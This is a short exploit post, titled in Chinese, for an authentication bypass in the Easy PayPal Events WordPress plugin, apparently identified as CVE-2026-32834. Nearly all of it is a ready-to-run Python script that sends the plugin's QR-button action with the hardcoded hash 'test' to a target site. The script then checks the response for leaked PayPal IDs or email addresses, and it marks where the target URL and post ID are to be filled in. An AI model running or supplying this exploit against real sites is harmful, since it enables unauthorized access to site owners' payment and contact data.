CVE-2026-32834 Easy PayPal Events插件认证绕过漏洞

import requests # Target configuration target_url = "http://example.com/wordpress/" # Replace with target URL post_id = "123" # Replace with a known or guessed post ID # Vulnerable endpoint parameters # The vulnerability lies in the 'hash' parameter accepting a hardcoded value 'test' payload = { "action": "add_wpeevent_button_qr", "id": post_id, "hash": "test" # Hardcoded bypass value } try: # Send the GET request to exploit the vulnerability response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content:") print(response.text) # Check if sensitive data (like PayPal ID or email) is in the response if "paypal" in response.text.lower() or "@" in response.text: print("[!] Potential sensitive data leaked.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")